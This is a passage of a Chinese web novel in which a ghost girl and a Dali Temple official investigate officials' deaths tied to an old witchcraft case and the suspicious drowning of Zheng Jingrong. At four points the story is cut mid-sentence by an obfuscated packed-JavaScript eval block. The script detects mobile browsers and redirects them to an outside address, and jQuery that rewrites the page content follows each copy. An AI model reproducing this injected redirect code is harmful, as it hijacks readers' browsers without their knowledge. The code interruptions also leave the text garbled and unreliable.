即使抱着赴死的决心扑向光芒,只是有一层障碍也许永远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420042|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跨不过去。 ······ 凌晨,天色刚蒙蒙亮,一家破落的客栈里传出一串地板咯吱的响声。 客栈的小二守完夜,小睡了一会,就被这响声惊醒。 只见一群头戴斗笠的蒙面黑衣人正准备出门。 小二忙给他们开锁,下意识想看清他们的面容,却被为首的大汉一个凶狠的眼神吓住,急忙低下头,“客,客官慢走。” 黑衣人什么也没说,走出门外,消失在清晨的雾气中。 见他们走远,小二关上门,正准备回去继续打个盹,路过一角落时猛地抖了一下。 “这里怎么这么冷啊。”他喃喃自语,用手搓了搓双臂,感觉身上没那么冷了,又转回去继续睡了。 如果有人可以看见,那么就会发现一个少女站在那个角落里,默默将刚才发生的一切收入眼底。 她想追过去,可是天快要亮了,她不能够去,只能亲眼看他们离开。 刚才那几个黑衣人里应该就有当初刺杀杜文焕的那两个。 那些黑衣人一个个身材高大,手掌虎口、指腹都有厚茧,应该受过长时间的训练,武功并不低。 上次杜文焕能从他们的夹击中逃脱也实属幸运,她本想早点出手相助,但又想看看这人的实力。 没想到杜文焕确实一点武功也不会,闪避倒是挺会闪的。 这些人警觉性非常强,身上连一封密信都没有,并且时不时换住所,让人摸不到行踪,更别提跟人联络了。 不过她还是从他们身上拿到了这个—— 希夷从厨房的柴火堆里拿出一枚长得像令牌的东西,上面的文字歪七扭八的,她不认得,并不像是维咸国的文字。 难道是维咸国的邻国天末国? 天末国已经和维咸国打了多年的仗,一直虎视眈眈,准备伺机潜入。 而维咸国内部也并不安宁,官僚党同伐异的事并不少见。 当然这些事都与她无关,她也并不关心。 只是神秘女子派她做那些事,这两个月倒是见到了许多。维咸国的官场十分黑暗。 她忽然想到一个人,一个与这黑暗的官场格格不入的人。 郑敬荣那些话她都听进去了,但杜文焕问她还有没有什么要问的,她竟不知道说什么。 确实没什么可问的,毕竟她的接近是别有用心。 先让他接受这种方便的契约,再让他的野心慢慢扩大,许愿满足他最深的欲望。那么到时候她就可以顺利掌控他,完成神秘女子给的任务。 可是······按照本心来说,她并不愿意这么做。 算了,想那么多做什么。 希夷拍了拍自己的脸蛋,笑了笑,让自己打起精神。尽管对鬼魂来说,这种动作显得无用且滑稽,但也给了她一点前进的力量。 她也有一定要实现的执念,她必须知道自己到底是谁,必须找到自己的家人。 为此,她抛开一切杂念,舍去多余的感情。 毕竟她的时间也已经不多了。 而手中这枚令牌上的文字,她虽然看不懂,但她或许知道谁能看得懂。 8. 令牌 “这么说,这枚令牌是从他们身上取来的。” 昏暗的房间里,神秘女子坐在木椅上,此时的她并没有戴面纱,只用一层丝绸蒙住眼睛。 她的两颊毫无血色,吐露出来的字也冷冷的。 现在仍然是凌晨,她身穿里衣,披了一件宽大的藤萝紫云纹外衫,整个人像是裹在衣服里,身形瘦削。 在她的身旁,有一盘未完成的棋局,而她现在所执的是黑子。 “是。”希夷坐在对面,手执白子,一边回答她的问题,一边抓耳挠腮应对棋局。 下棋实在不算希夷所擅长的事,奈何神秘女子非得要她陪着下一盘棋。 每次她以为自己可以吞吃对方的黑子,却总被神秘女子随意落下的一枚棋反败为胜,反倒将她杀得片甲不留。 “你知道他们的身份吗?”神秘女子又闲闲落下一子。 “吧嗒”,希夷犹豫了一下,还是选择落子,回答:“不知。他们极为谨慎,每天都会换地方,恐怕不一路跟着就没法发现他们的身份。” 神秘女子听懂了她的意思,“那你是要我做什么呢?” “我希望您再找个人,让别人在白天监视那些官员的动静。” 神秘女子轻笑,“你是打算一心帮助杜文焕破解这个案子了?” “是,”希夷说,“不然我实在分身乏术。” “再等一段时间吧,还没到时候。”神秘女子否决了她的提议,“最近你的魂魄感觉怎么样?” “只是偶尔有撕裂感,”希夷如实回答,她忽然想到杜文焕去了乱葬岗,便问,“昨日我让杜文焕离魂,他的魂魄却突然去了乱葬岗。您知道在什么情况下会这样吗?” 神秘女子想了想,说:“他可曾对那个地方印象深刻?” “他从未去过。” “这确实有点奇怪,”神秘女子说,“魂魄去的地方大多是存有执念的地方。他一个世家公子,官场又顺风顺水的官吏怎么会去这种地方。不过,也许有特例。” “什么特例?”希夷急忙问。 “魂魄只会去往昔的地方,但他既然没死,只是离魂,那么也就有可能预料未来的事。” “您是说,未来他会死在乱葬岗?!” “嗯。”神秘女子说,“我之前算过他的生辰八字。他的命运十分坎坷,一生有两场死局。第一场是在十五岁,他现在既然活着,说明化解了。第二场就是在二十岁。” 希夷回想吏部黄册上的记录,惊道:“他今年虚岁二十!” “你这么惊讶做什么?”神秘女子并不在意一个无关人的死活,说着便落下一枚棋子,“一枚无关紧要的棋子而已,对你而言很重要吗?” “不,并不重要。”这么说着,希夷落子反而凌厉起来,竟吃下对方一枚黑子。 “呵,”神秘女子了然地笑了一声,“将令牌给我看看。” 希夷双手奉上。 神秘女子用手从令牌上仔细拂过,感受它的纹路和刻痕。 “这并不是维咸国的文字。”神秘女子说。 希夷点点头,说:“的确,我猜这是天末国的文字?” “也不是。”神秘女子摇了摇头,“这是一种古老的文字,起源于天末国的一个部落,其族人应该在多年之前就四散,少有人知道。令牌正面的字为‘云’,两侧面的字为‘天末同云,置死而生’。” “我不懂,这是什么意思?”希夷听得稀里糊涂的。 “天末国的‘天末’二字与生活在那的百姓的信仰息息相关。天末国最开始只是一些分散的部落,信奉不同的神灵。其中最大也最神秘的那个部落,图腾为九头鸟,族人个个身怀奇术,尤其以医术著称。他们认为世事变幻无常,百姓生活凄苦,需要等待天神相救。到那时,神会毁灭世界,然后再建立一个新的没有痛苦和烦恼的世界。此为‘天末’。令牌上的就是这个部落的文字,而那句话来自于这个部落的一个医女的预言。” “什么预言?” “这是一个与你有关的预言。” 希夷见她莫名说到自己身上,惊讶道:“我?” 神秘女子说:“这是一个很古老的故事。在很多年以前,那个部落的人统一了整个国家。天末国中有一任的君主一心想靠自己让百姓过上衣食无忧的日子,可惜人的寿命是有限的,于是集结能人异士出海寻找长生之法。” 听到这,希夷嘲笑道:“长生之术,实属枉然。” “不一定,”神秘女子说,“这些人找到了长生不老的法子,还带回来许多记载了奇术的秘籍。其中既有起死回生之术,也有回溯时空的办法。” 听到这,希夷猛地坐正,笑容也瞬间消失,她的语气有些颤抖,“后来······怎么样了?” “后来天末国的君主按照秘籍所载熬制长生不老的药。但这种药需要的药引是少女和稚子的鲜血,为此残害了很多无辜的女子和孩子。” 希夷的心渐渐沉下去,“这是一种邪恶的秘法,必须停止。” 神秘女子继续说:“那些带回奇术的异士中也有人这么认为,因此内部起了争执。一部分人认为带回来的秘法害人不浅,且条件极为苛刻,应该立即停止并烧毁所有秘籍。而另一部分人则认为这是背叛皇帝,而且天下皆为皇帝的臣民,在路途中所付出的代价是必要的。” “这些人因此决裂,甚至互相残杀。直至某一天,一场大火将皇宫的丹药房烧了个干净,那些异士在火中互斗而亡,秘籍也在大火中焚毁殆尽。” 希夷低着头,小声喃喃,“也许并没有全部烧毁······” 神秘女子并没有听清了她的话,继续说:“即使秘籍可以烧毁,人心的欲望怎么也不会消失。天末国本身就是一个崇尚巫术的国家,在那之后,这种长生不老的秘籍是没了,但巫术并没有消失,多得是人冒充巫师哄骗皇帝和百姓。求财的说能富裕,求姻缘的说能遇上天命之子,求人丁兴旺的说能家族兴旺。人只要有欲望,为了实现,都会不惜付出任何代价。当然,巫术并不都是坏的。但人心一旦依赖外力获得幸福,就离毁灭不远了。” “这个传说的故事已经是五十多年的事了,那之后过了很久。巫术对天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420043|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 末国影响渐深,君主荒废朝政,日日想着祈求上天给他风调雨顺。可惜,大旱并不会眷顾像他对上天这么诚心的君主。在旱情中死了很多人,这时,有个女子站出来说她有当年其中一位异士的秘籍,因为他们都属于一个部族,是流传下来的残卷。尽管那只是残页,却解决了旱情。皇帝大喜,将她封为国师,被她拒绝了。‘天末同云,置死而生’是她留下的最后一句预言。‘同云’在那个部落的意思是‘冬天’,这句话或许可以解释为,将毁灭的那日会是冬天,而只有死去才能获得新生。” “可是,这又与令牌有什么关联呢?” “这句预言当年被压制下去,因为这个医女后来背叛了天末国。但有心之人或许想用这句没头没尾的预言蛊惑人心,趁机挑起斗争。” “人心真的这么容易被挑动吗?” “十多年前的巫术案就是如此,而这与你息息相关。” “吧嗒”,希夷手中的棋子掉落,她的心里隐隐有不好的预感,“怎么会与我有关······我现在也才十七岁啊。” “你不是一直想知道自己的身世吗?”神秘女子说,“既然我说给你听,你怎么又好像不大想听?” “可是,可是······”希夷不知道该说些什么,努力从脑子里拼凑出些言语,“我一直以为我是被抛弃的,我回来也只是想见一见家人······我宁愿当年是被抛弃的。” “可怜的孩子,”神秘女子感叹了一声,“其实没人会把‘天末同云,置死而生’这句话当真,直到巫术案发生。你知道那个医女怎么样了吗?” 希夷将刚才误落到桌脚的白棋捡起,问:“怎么样了?” “她背叛了天末国,与丈夫和孩子一起归顺了维咸国。” “那她后来呢?” “后来就是十多年前的巫术案,他们一家被打上用巫术妖言惑众,企图犯上作乱的罪名。医女被推入冰河而死,她的丈夫被枭首于城上,两个孩子,一个死于狱中,一个得了疯病。” 希夷有个大胆的猜想:“既然你说预言和巫术案都与我有关,难道我是她孩子的后代?” “哈哈哈哈哈哈。”神秘女子原本冷冰冰的脸像解开冰封一样,浮上一层笑容。 笑了半天,神秘女子终于止住,说:“这是不可能的。她的孩子活到现在最多也只有三十来岁,你已经十七岁了。据我所知,只有她的小女儿有个儿子,算了算,如今应该也就十三四岁。” 希夷:“······” “所以这跟我到底有什么联系?” “你的家族在那之后被牵连,而在你逃离的时候,获得了预言里的力量。这些,你都不记得了?” 希夷摇了摇头。 “天快大亮了,你快去办事吧。”神秘女子落下最后一子,“等你把我交给你的任务全部完成,我就把这些全都告诉你。” 希夷很想说你耍我呢?但她敢怒而不敢言。 在离去之时,她问:“你是怎么知道这些的?” 神秘女子笑了笑,说:“等你赢我一局时,我再告诉你。” 9. 朝堂 大殿之上,文武百官分立于两侧,看过去黑压压一片人,却都噤声不语。 沉寂的大殿内,连奏折翻动的声音都显得犹如轰雷。 “啪嗒。”随着一声奏折掉在地上的声音,文武百官都像是松了口气似的,耸立的肩膀放松了些许。 尽管他们知道将要迎来的是什么,但总比这让人难受的沉默好。 坐在龙椅,凌驾于百官之上的掌权者此时的脸色比这些大臣还要差,他带着怒气的声音响彻整个殿宇。 “你们呈上来的就是这种折子?!”皇帝如鹰般锐利的眼神扫过众官吏,后者纷纷将本就低下的头沉得更低。 “南方旱灾,朕拨款八百万两白银用于赈灾,结果灾情甚至蔓延得更快。南方各州县频频上报,说是救济款并未补给到位。还是朕留了个心,跳过尚书省,让他们直接给朕呈报。到底是谁吞了这笔钱?” 众官鸦雀无声。 “右仆射,一向是从你尚书省手中过奏折,屡次隐瞒不报,是你勾结了谁私吞了这笔赈灾款!” 被叫到的官吏战战兢兢,俯首于冰凉的阶前,喊道:“老臣冤枉啊——老臣已经多次询问户部,可是得到的消息都是赈灾款已经发下去了。老臣以为只是钱款行进慢,还未到达各州县,并无隐瞒的意思啊,陛下!” “哦?户部。” 户部尚书忙站出来,因为着急忙慌,差点踩到下摆。 他跪在皇帝面前,语气发抖,“陛下,臣已经将灾款尽数发下,不管私吞分毫啊。” “不是你们,难道还是朕不成?!” 这时,右仆射颤抖着声音说:“老臣此前得到一封密信,上面说兵部侍郎郑敬荣此前就秘密向负责此事的前任户部侍郎赵赐恩授意,说是要将一部分拨给州县的白银用于兵部。” 说着,便呈上了那封密信。 皇帝看完,语气平淡却锐利,仿佛暴风雨前的宁静,“郑敬荣,可有此事啊?” 本来还在一旁看戏的郑敬荣此时吓了个半死,跪在户部尚书旁,说:“并无此事。” “既然没有,别人怎么会冤枉你?”皇帝冷笑,“有没有,刑部和大理寺一查就知道了。即日起,革职查办。” 郑敬荣呆滞在原地,而殿中的人,有的感叹,有的怜悯,有的庆幸,却无一人帮他说话。 ······ 郑敬荣还是不得不见杜文焕一面。 郑府,郑敬荣的书房中,丫鬟奉上两盏茶。 一只修长白皙的手接过,又漫不经心地将它放在一旁。 另一边的郑敬荣吩咐丫鬟道:“你先出去,让下人别靠近这里。” 丫鬟应声:“是。” “你还是如愿见到我了。”郑敬荣转过头,冷笑,“今日右仆射在朝堂上弹劾我,说我挪用朝廷拨款。虽然查出来只是一小笔份额,而且也是为了给朝廷造军船,但陛下也因此严厉警告了我,并将我暂时革职。这是你的授意吧,杜大人。” “下官不敢。右仆射说他是收到密信,郑大人要是认为是我做的,何不询问右仆射,与我笔迹一对呢?”杜文焕不卑不亢,“何况此事属实,郑大人又何必生气。” “我去询问弹劾我的人?!”郑敬荣快被这话气死了。 “郑大人请息怒。”杜文焕也不再拐弯抹角,直说道,“下官这里倒是还有一封您与赵大人的书信。这封信,我想万一落到您的政敌手上,连对笔迹都不需要对了。” “什么?!”这下郑敬荣直接从椅子上蹦起来,他的眼神愈发冰冷,像一把把锋利的刀子,恨不得把对面的人刺个对穿,“你想要什么?” “下官想要的一直很简单,”杜文焕道,“前任大理卿高琦留下的手稿,和官员被杀案的真相。” “你真是条疯狗!”郑敬荣破口大骂,“咬住我不放了是吧?!” 杜文焕并不生气,淡然地看了他一眼,那波澜不惊的眼神比怒意更让郑敬荣觉得奔溃,就好像一切都在这人掌控之中,包括自己的反应。 “行,行,我告诉你就是了。”郑敬荣气极反笑,“手稿,我是不知道的,也不在我这。至于官员被杀案的真相,为什么不去查查十三年前的巫术案呢?” “巫术案?”杜文焕本来预备喝茶的手一顿,问,“我记得这个案子一直是绝密的,保存在皇宫之中,想调阅还需要陛下的令牌。您知道内情?看来我这一趟并没白来。” “你要听?”郑敬荣满是皱纹的脸上扭曲出一个笑容,他恶狠狠地说,“信呢?先拿来。” 杜文焕眯了眯眼,从袖中拿出一封信,摆放在桌上,用手按住,说:“信就在这,请你先说吧。” “我怎么知道这是真的还是假的?” “哼。”杜文焕没有多废话,将信拆开,走到郑敬荣面前,用信纸在他晃了晃,说,“你的笔迹和印章,没有错吧?” 郑敬荣双眼发红,想把信抢过来,却被杜文焕挡住,“请先说吧。” 郑敬荣浑身发软,瘫坐在椅子上,不得已开口:“死去的赵赐恩和冯长禄曾经是那个人的幕僚。” “那个人是谁?”杜文焕问。 “巫术案的主谋。”郑敬荣深深叹了口气,眼神浑浊,似乎慢慢陷入回忆之中—— “先皇在时,储君之位轮不到陛下,陛下就被送去天末国当了质子。然而没过几年,还没等先皇选择的太子即位,陛下就从天末国回来了,还带回了他的心腹。” “陛下的心腹杀掉了当时的太子,帮助陛下夺得储君之位,并清理了所有可能威胁皇位的皇室子弟。陛下即位后,封他做楚国公。楚国公位高权重,渐被陛下忌惮。有人揣测准陛下的心意,便写了一封密信给陛下,说楚国公之······” 说到这,郑敬荣顿了顿,继续说:“说楚国公之子崇尚巫术,想勾结巫师谋害陛下。陛下借此机会将楚国公一家关进牢狱,除了一个外嫁的女儿,其余人全部被处死。不仅如此,还牵连了许多人。后来此案被称作巫术案······” “这么说,当年写密信的人就是死去的这两个官员?” 郑敬荣答:“不错。” “可是为何诸多官员对此十分避讳?” “因为很多人都知道楚国公之子是被冤枉的,”郑敬荣回答,“楚国公之子当年极力反对崇尚巫术的风气,连十三年前颁布的禁巫令中有一部分也是他曾经在奏疏中所写的,最后他却死在禁令之下。讽刺,太讽刺了。” “楚国公之子被冤枉的事陛下也知道吗?” “你是个聪明人,就不用我说了吧。” 杜文焕此时也明白了他的意思,说:“所以诸多官员宁愿辞官都不愿意触及此事,就是怕挖得太深,毕竟这件事牵连的人太多,一旦公之于众,所要面对的悠悠众口就不止如今这些了。” 郑敬荣微微颔首,说:“而且,这二人这些年在任上搜刮了不少民脂民膏,落得现在这个下场,也是咎由自取。民间的传言也说得有理,鬼魂索命,说不定真的是楚国公一家的冤魂来复仇了呢。我知道的就是这些,现在信可以给我了吧。” 杜文焕将信递上,他迟疑了一会,还是开口,“下官一直以为你身为家师的好友,是个清正廉洁的好官。念及这些旧情,下官即使拿到这些信也并未第一时间选择揭发,如今用这封信换取一个真相也是无奈之举。不管怎么样,人生在世,最后只得一个土馒头。黄金万两又算得了什么呢。” “呵,”郑敬荣的语气里半是惆怅半是讥笑,“人与欲望从来就是不死不休的,这是几千年来的道理,难道杜大人你没有吗?何况我还为百姓办事,多得是官吏拿钱不办事的。比起他们,我还算是个好官呢哈哈哈哈哈哈。” 杜文焕知道自己不必再多说什么,告辞离开了书房,留下郑敬荣一人在书房独坐。 他并未被革职,还有机会,为何要听杜文焕的?至于那些因得不到朝廷的救济而饿死的灾民,与他又有什么关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420044|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系? 人活一世,草木一秋。 那些贱民不过是无需在意的草木而已,而他重要得多。 香车美人,珍馐美味,珠玉银器,他都已经拥有。 但远远不够,他还要将这些财富荫及子孙。 他已经年老,像赵冯二人死去也没什么,但他要为后代打算。 等官复原职之后,他还要继续,绝不收手。 ······ 回杜府的路上,杜文焕想着郑敬荣那些话,心里颇不是滋味。 他已经知道为什么官吏都不愿意查这件事了,只是按这条路追下去,也不一定会有好结果。 得先找到当初刺杀他的黑衣人才行,说不定他们才是案件的真正突破口。 可是去哪找呢?这几日他们没再有什么动静,他也无处追查。 “唔。”杜文焕揉了揉眉心,他这几日晚上睡不太好,常常在书房看半宿卷宗,一直到天明鸡鸣才睡一两个时辰。 从刚才起,他的头就有些晕。 他的眼皮合了又开,终究抵不住身体不适的感觉,迷迷糊糊在车上睡着了。 他又做了那个困了他多年的梦,那是一段极短的碎片。 梦里,旁边的人指着夜空问:“那是什么星?” 他没有回答,旁边的人又重复那个问题:“那是什么星?” 他抬头看向天空,却发现原本黑沉沉的天空却变成了黄昏,太阳如同火焰一般照亮天边,什么星星也看不见了。 这是个让他熟悉的梦,梦里的他的情绪很复杂,又是开心又是难过。 可是这次与以往不同,他的身体越来越沉,胸口处隐隐作痛,四肢百骸也有疼痛传来。 这时候有个轻灵的声音在他耳边焦急呼喊,他挣扎着想醒来,可是怎么也醒不了。 忽然手掌一疼,冰冷的液体顺着手掌的纹路留下,有只冰凉的手紧紧握住他的手。 他听到耳边有人在叽里咕噜念一些他听不懂的咒语。 身上的疼痛似乎都随着鲜血的流出缓解了。 杜文焕醒转的时候,旁边有一群人在说话,却没有他想听到的声音。 吵吵嚷嚷的让人心烦。 昏睡时的听觉异常敏锐,即使人没有醒过来,也能把周围的声音听得一清二楚。 一个抽噎的妇人在跟一个男人讲话。 “道长,焕儿的毒可解了吗?” “令郎体内的毒已经解得差不多,只是还需要好生休养。” “一定,多谢道长。” 送男子出去之后,那个妇人也不再哭了,她长呼出了一口气,吩咐丫鬟等会伺候二公子喝药,正要出门时。 一个调皮的男童闯了进来。 那妇人呵斥:“不是告诉过你别来西院吗,怎么还来?快出去!” 男童语气颇为欢快,说:“娘,今天夫子夸我诗作得好呢!” “那我们出去看。” 男童又说:“二哥这是怎么了?” “生病了而已,你别杵在这里,免得沾了病气,走走走。” ······ 不知道过了多久,杜文焕醒过来,他下意识抬手去看,可是右手手心并没有那个伤口。 又是梦?他最近真真假假都分不清了。 “你醒了?” 烛影中,他看到一个幽幽的倩影从昏暗中走出,还是那身朴素的打扮,还是那苍白的脸色。 但不知为何,杜文焕总觉得她的脸色比上次更白了一些。 “你怎么在这?”他问。 她开口就是道歉:“你有危险,我却不能第一时间帮你,抱歉。” “不,这没什么。”杜文焕忙摇了摇头,表示自己并不会怪她。 正想再说点什么,可是满腹的话堆在腹中,此时他又不知道说什么好了。 只听希夷说:“你知道吗,郑敬荣死了。” “什么?!” 10. 伤痕 寂静的卧房内,纱灯里的红烛已经烧完了半截,微微的光亮在纱灯中悦动着。 杜文焕扶额,他的头还是有些晕,听得希夷这话,就要下床,想仔细问个明白。 希夷自然地过去给他披上了外袍,说:“你已经昏睡了两天,这几日来来往往的有几个官吏,他们说昨日郑敬荣在家中池塘溺毙了。” “咳咳咳。”杜文焕的身体还很虚弱,他忍不住咳嗽了一声,又见希夷在旁边,自己这样不大礼貌,可是咳嗽怎么也不会止住,压着喉咙反而咳得愈发厉害。 希夷蹙眉,眼神中满是关切,忙给他倒了一杯温茶。 杜文焕喝了茶之后,咳嗽好了许多,他说:“多谢。现在应该已经是丑时了,这茶怎么还是热的?” 希夷笑道:“茶刚泡好没多久,热水是我去北院的小厨房的炉子上拿的,那儿柴火不熄,整夜都热着温水。” 杜文焕闻言,眼里的光闪了闪,白日里冷漠疏离的神色如今也软了下来,仔细看,他苍白的双颊逐渐浮上一层红晕,“这应该不在你我的契约之内。” 希夷一怔愣,随即又笑道:“即使不是我,杜夫人也会这么做的,只是今日她忘了。” 但其实杜夫人压根没有这么做过。 她的声音里带着微微的急切,似乎急于岔开这个话题,“这几日那些官吏来的时候,说郑敬荣溺毙是畏罪自杀,一是被皇帝发现贪污灾款,二是对你下毒。只是对你下毒这事并无证据,在他溺毙之前也无人敢去查。” “他们有说,他被发现的时候是怎么样的吗?”杜文焕敏锐地察觉到她的意图,并未戳破,看了她一眼,话题也转到了此事上。 他心里明白杜夫人是不会给他半夜留下温茶的。 希夷说:“是郑府的小厮在卯时发现的,当时他正要去厨房帮工,结果发现郑老爷飘在后院的池水中,岸边还有一只鞋。” “这就奇怪了。”杜文焕说,“一个一心想自杀的人怎么会只留一只鞋在岸上呢?” 希夷瞬间领会了他的意思:“你是说,是有人伪装成自杀的样子?” 杜文焕点头,说:“有这个可能,而且这个人十分害怕郑敬荣跟我说的事被公之于众。” “你是说······” “没错,这个人如今就藏在郑府之内。” 说到这,杜文焕心中的迷雾驱散许多,心情也好了起来,发白的嘴唇勾出一个浅浅的笑容,“终于被我抓住行踪了。明日我要回大理寺查办此事。” “以你现在的身体状况?”希夷惊道,“你才刚醒······” “没事,”杜文焕说,“此事还得尽快查办,不然就会以郑敬荣自杀结案,到时候就更不好查了。” “你还真是,从来不会把自己的身体当回事啊······”希夷叹气,走去将灯盏里的烛火拨动了两下,使它不那么亮眼。 “那你早些休息吧。” 杜文焕忽然看见她的右手手掌似乎有一道灼伤的痕迹。 “你的手怎么了?”杜文焕想伸手握住,伸到一半却发现自己这样僭越了,手停顿在半空中,又悻悻收回。 “没什么。”希夷避开了他的眼神,将右手往身后躲了躲。 那道痕迹是反噬,定下的契约是保护杜文焕,然而她在车上施行的巫术需要他的鲜血,没有得到同意的伤害违背了契约。 怕杜文焕还要再问,希夷急忙说:“早点休息,我先走了。” 杜文焕张了张嘴,刚才还明亮的眼睛又变得黯淡,终究把到嘴的话咽了下去:“嗯。” ······ 郑府。 郑敬荣虽被认为是自杀,但该走的流程还是要走,于是杜文焕同京兆府尹一起过来问话。 “你发现你家老爷溺死在池子里的时间是在昨日卯时?” “是,”被问到的小厮似乎还没从惊恐中回过神,颤抖着声音回答,“小人早上去柴房劈柴,路过后院的池塘,就,就看到上面飘着一件袍子。等小人凑近去看,才发现是老爷。” 小厮回忆到了什么可怕的场面,抓着杜文焕的袖子,断断续续地说:“老爷他瞪着眼睛看着我呀,大人,老爷一定是被害死的!” 杜文焕不喜欢别人离他太近,嫌弃地将袖子扯出,说:“这件事真相如何,待问话之后,本官自有定论,不可乱说。” 又转头问与京兆府尹随行的仵作:“如何?” 仵作答:“郑老爷应当是昨夜丑时左右溺死的,外表无伤痕,也没有毒发的迹象。但至于是不是清醒的时候落水的,恐怕还要回府衙做进一步查探。” 一旁站着的郑老爷的儿子郑参听完,皱着眉头,语气不善地问:“那家父岂不是还不能入土为安?” 原本杜文焕要说些什么,京兆府尹李允先开口:“此事事关重大,自然要先查个明白。郑贤侄,你要妨碍官府办案吗?” 郑参咬住嘴唇,低下头说:“不敢。” 得到了满意的回答,李允便叫衙役把郑老爷的尸体搬回府衙。 杜文焕问:“郑公子,昨夜郑老爷一个人跑去后院的池塘,你知道原因吗?” 郑参摇了摇头:“不知道,我昨夜在外面留宿。是今早下人派人去叫我,我才回来的。” “在哪留宿?” 郑参不大想回答,他看不惯区区一个大理正趾高气昂的,但一旁的京兆府尹却得罪不起,只得勉强回答:“是在琼花楼。” 琼花楼?杜文焕不曾听过这个名字,但他听说过郑参为人风流,常眠宿在烟花柳巷,想必这是青楼的名字。 杜文焕一心想着证据,便问:“谁看见了?” 问完,旁边的李允揶揄地看了他一眼,眼神似乎是在说都住在烟花柳巷了,自然是谁陪的谁看见呗。 郑参显然也是这么想的,心里笑这人太死板,却不敢在面上表现出来,说:“老鸨,琼花楼的姑娘,还有昨天是小桃红陪我的,她们都看见了。” “嗯。”杜文焕将这两人的动作尽收眼底,但他并不在意。 又问:“那昨夜郑老爷和谁在一起?” 一旁的下人答:“是老爷新纳的小妾。” 李允也不在一旁闲看了,问:“那她人呢?” “姨娘她见了家父的尸体后昏过去了,”郑参回答,“被下人搀着去房里休息了。” “叫她来。”李允说。 不多时,郑老爷的小妾赵怜被丫鬟搀扶着过来了。 她乌发半垂,双眼红肿,形如弱柳扶风,仿佛一下就要被风吹走。一双美目里蓄满泪水,秀美的脸上仍有泪痕,望之令人生怜。 “奴家见过各位大人。”她虚虚一拜,声音娇柔婉转。 李允见到美人,皱纹纵横交错的严肃脸上不由得平复了些许,问:“你就是郑老爷新纳的小妾?” “是,”赵怜轻轻点了点头,“奴家赵怜。” “昨日是你和郑老爷待在一起?”李允问。 “是。”赵怜答。 “那郑老爷昨天怎么走到后院池塘去的?” “昨夜奴家服侍老爷睡下之后,老爷半夜醒来睡不着,”赵怜说,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420045|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴家便陪他去花园走了走。回来之后奴家服侍老爷睡着后便回自己房里休息了,一直到天明我才醒来。” 说到这,赵怜忍不住啜泣:“谁知道今早下人来告诉我说老爷溺毙在池塘了!” 郑参张了张口,像是想上前安慰小娘,但又突然抬头看到杜文焕正盯着他,才发现不合时宜,也就没再动作。 李允问完话后又给了杜文焕一个眼神,意思是他要不要再问问。 杜文焕让郑府管家把住的地方离后院最近的几个下人叫来,问:“你们昨夜听到什么声没有?” 几个年纪比较大的都说除了听见老爷和姨娘的声音以外就没再听到了,只有那个年纪比较小,大概十二三岁的小厮说:“我昨晚上起夜,听到有人在吵架。但小人以为只是两个下人拌嘴,没注意,又回去睡了。” “什么时辰?” “不知道,”小厮说,“但应该在老爷和姨娘去后院之后。” “哦?”杜文焕扫视一圈,被看到的下人都纷纷低下头,谁也不敢承认吵架的人是自己。 杜文焕又问:“你确定声音是从后院那边传来的吗?” 小厮这下没那么快回答,他仔细回想了一下昨夜的情景,说:“不确定,好像是从亭子那传来的,又好像是后院。” 杜文焕往周围一看,他说的亭子隐约可以从这里窥到一角,那儿更近花园。 但再问这些下人就都问不出什么来了,一个个都说自己在睡觉,没出去。 见状,李允便对杜文焕说:“杜大人,先随我回府衙吧。“ 杜文焕点点头。 待一众府吏离开了郑府,郑参才松了口气,让下人们都各自去干活。 赵怜也要随丫鬟一起走,走之前和郑参对了个眼神。 某处院落“你们都先下去吧。” “是。” 等丫鬟们都走了,郑参才从暗处走出来。 他径直走过去,握住赵怜的手,细细磋磨:“我感觉那个大理正已经怀疑到咱们头上了。” 赵怜没把手抽回,反而顺势倒在郑参怀里,说:“又不是我们害的老头,找我们做什么?” “但我怕被怀疑,就说昨夜宿在琼花楼,”郑参搂住赵怜瘦弱的肩膀,说,“虽然给她们打了招呼,但这个大理正看起来不好糊弄。” 